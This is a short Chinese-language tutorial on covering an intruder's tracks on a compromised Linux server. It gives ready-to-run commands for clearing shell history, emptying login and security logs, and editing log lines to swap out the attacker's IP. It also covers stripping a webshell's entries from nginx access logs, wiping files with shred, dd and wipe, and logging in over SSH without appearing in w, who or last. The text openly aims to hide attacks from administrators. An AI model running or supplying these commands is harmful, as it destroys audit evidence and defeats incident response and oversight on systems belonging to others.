Linux痕迹清除
0x00:清除history历史命令记录
查看历史操作命令:
查看历史操作命令:history history记录文件:more ~/.bash_history
第一种方式:
(1)编辑history记录文件,删除部分不想被保存的历史命令。
vim ~/.bash_history
(2)清除当前用户的history命令记录
history -c
第二种方式:
命令前加空格(最简便实用)
第三种方式:
通过修改配置文件/etc/profile,使系统不再保存命令记录。
HISTSIZE=0
0x01:清除系统日志痕迹
Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。
/var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志
第一种方式:清空日志文件
清除登录系统失败的记录:
echo > /var/log/btmp lastb //查询不到登录失败信息
清除登录系统成功的记录:
echo > /var/log/wtmp last //查询不到登录成功的信息
清除相关日志信息:
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令 清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令 清除安全日志记录:cat /dev/null > /var/log/secure 清除系统日志记录:cat /dev/null > /var/log/message
第二种方式:删除/替换部分日志
日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure
0x02:清除web入侵痕迹
第一种方式: 直接替换日志ip地址
sed -i 's/192.168.166.85/192.168.1.1/g' access.log
第二种方式:清除部分相关日志
# 使用grep -v来把我们的相关信息删除, cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/
0x03:文件安全删除工具
(1)shred命令
实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。
shred -f -u -z -v -n 8 1.txt
(2)dd命令
可用于安全地清除硬盘或者分区的内容。
dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数
(3)wipe
Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。
wipe filename
0x04:隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i